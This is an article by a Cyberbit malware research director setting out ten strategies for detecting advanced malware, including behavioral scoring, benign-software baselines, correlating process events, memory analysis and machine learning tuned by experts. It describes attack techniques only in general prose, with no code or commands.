Advancements in cybersecurity products and widespread adoption of HTML5 and the Chrome browser have made carrying out browser-based exploits much more labor intensive for malware authors, so they shifted their focus to human engineering. These days, people are much easier fooled than technology. Research shows that approximately 5% of enterprise users will fall for clever human engineering tricks and click on a malicious email attachment or link. The Anti-Phishing Working Group (APWG) reported a 65% increase in the total number of phishing attacks in 2016. Once an unwitting user lets the malware inside the organization, advanced threat detection approaches must be used to quickly detect the malware before serious damage is done. I will share a few of the advanced threat detection strategies we use at the Cyberbit malware research lab.
10 Advanced Threat Detection Strategies
#1: Broad and valid test repository
Advanced threat detection begins with a representative research sample. Focus on generating a valid representation of both the threat landscape and the benign software landscape. The malware ecosystem is in constant flux as threat actors come and go and new malware techniques are published and blocked by security tools. Generate an accurate representation of the real threat landscape that contains vast dataset of unique malware variants, including dynamic analysis behaviors, static analysis attributes, network traffic profiling and local forensic data collected from the endpoint. The dataset should contain samples of live multi-phase dropper malware with advanced evasive operations to avoid generating an overly simplified model based on simple malware samples.
In addition, generate a true model of a regular working environment in which benign programs are regularly installed and updated and users generate valid traffic. These two aspects are critical to test actual detection rates and the amount of false positive detection noise generated by security teams.
#2: Generate weighted scoring model
A scoring model is important since not all malicious indicators are created equal. Some indicate a concrete threat while others may be used by benign programs. A robust threat model takes into consideration not only the behavior but also the probability of it being used by benign software, the amount of risk it poses, how common it is and which indications can be affected by it. Just like human criminal masterminds, even the most evasive malware will eventually make a mistake. Even though most behaviors are kept covert, it is almost impossible to keep all activity covert. The detection model should raise the threshold for detection by using as many as possible indicators across the entire threat kill-chain.
The scoring model also assists in the prioritization of incidents. As we gain more evidence that the process is indeed a malware the score should increase. This will allow the incident response teams to triage their handling of alerts. The most urgent incidents will be handled first and those with more benign behavioral profiles will remain in the backlog to be analyzed later
#3: Study benign software behavior
Malware may conceal their activity, but benign processes don’t. Advanced threat detection also requires learning as much as possible about how a benign process behaves to make finding the malicious actors easier. Studying the behavior of benign processes also reduces the level of noise generated and false positive rate.
Two general approaches to benign software behavior research:
- Establish a download lab to download many different applications and record their APIs, forensic data and network activity.This is easier said than done, since this operation requires complex automation process of constantly downloading, installing and running many applications from various sources. Even more complex is the fact that these applications are constantly changing and updating. This is a live sample database which should be maintained and expanded.
- Collect and record as much true live data as possible from large live systems using a recording client. This reduces the automation task given your environment is large and diverse enough. However, this operation has a penalty toll of deployment on a real live network
#4: Collect and analyze everything
All data collected from a process during runtime has significance. It may seem redundant at first, but exhaustive data collection will result in advanced threat detection methods. Collecting vast amounts of data incurs a performance penalty. Therefore, a true big data solution is required. Today security vendors understand the benefit of forensic data collection versus slim detection only data. More information allows better detection and less false positives. It also enables better forensics by incident response teams when they analyze the impact of the breach on the organization.
#5: Collect data over time
As previously stated, it is critical to analyze data over a large period of because malware can generate behaviors which have large time gaps.
There is always a tradeoff between detection and performance. Malware authors have long realized endpoint security products have a ‘temporal blind spot’ and use delayed execution to bypass even the most advanced threat detection systems.
#6: Connect the dots using shared entities
Just like traditional police investigators, cybersecurity researchers try to find a connection between suspects. Security products also need to find connections between events and entities.
The entities and events are mapped to reveal correlations between seemingly unrelated behaviors.
Take for example a malicious Word document that uses WMI. At some later point, the WMI command will spawn a PowerShell object which will download a malicious payload, connecting the Word process that called WMI and the seemingly unrelated wmiprev.exe process that spawned the PowerShell instance. Finding this connection is critical to understand that the Word document generated this network traffic.
This can be the key to understanding malicious activity. There are many events which appear to have no actual meaning unless connected to an entity which may later perform malicious activity. Therefore generating a full running tree is important.
#7: Use static and dynamic analysis
Dynamic analysis is a must have a technique to detect malicious activity due to the complexity of custom packers. However, one must not neglect the use of static analysis tools as well.
Many behaviors cannot be detected by hooking or by traffic logs. Static analysis must be applied to detect code which doesn’t run or evades traditional hooks. For example, assembly code snippet cannot be detected dynamically. In addition to some memory lookups, static file attributes such as signature and PE sections structure are also critical in advanced threat detection of malicious software.
The downside of this method is the fact that most malicious software is packed and obfuscated which poses a significant challenge. Therefore a high level of unpacking and de-obfuscation expertise is needed.
#8: Analyze memory
Many evasion techniques rely heavily on memory forensics. It could be the use of assembly code which cannot be hooked, memory manipulation such as reflective DLL loading, or obfuscated code which is decrypted only at runtime in memory.
Analyzing memory is a complex task since it has high CPU utilization and requires careful handling due to the volatile nature of the memory. However, given the vast amount of malware we are seeing that cannot be detected by any other means memory analysis is an absolute must for advanced threat detection.
#9: Tune machine learning algorithm with security domain knowledge
Machine learning has contributed a lot to advanced threat detection tools. It enables pattern matching in a way which was impossible to handle with the traditional rule-based approach due to the vast quantity of variants and their dependencies.
But machine learning cannot be a stand-alone tool. Allow manual supervision and enhancement of the model by expert security researchers with domain expertise.
The results should be carefully validated to check which indications contributed to the detection. Beware, using algorithms blindly can result in detection which is based on noise rather than true insight or detection which is identifying only very common malware characteristics and not taking into consideration the more complex and unique scenarios.
#10: Threat intelligence is paramount
Understanding new malware families’ techniques, campaigns and mitigation capabilities is vital in the current dynamic threat landscape.
In our labs, we observe new actors using new techniques on a daily basis. Sorting out the outliers from the developing trends and understanding where to focus our effort is essential to keep the current detection rates high and false positive rate as low as possible.
About the Author
Meir Brown is a 15-year cybersecurity veteran. He began his career as a software developer and team leader at CheckPoint, culminating in taking leadership of the entire endpoint applications group. Next, he managed the applied research group at Verint. Brown is Director of Research for EDR at Cyberbit, where he oversees the establishment and management of the malware research lab.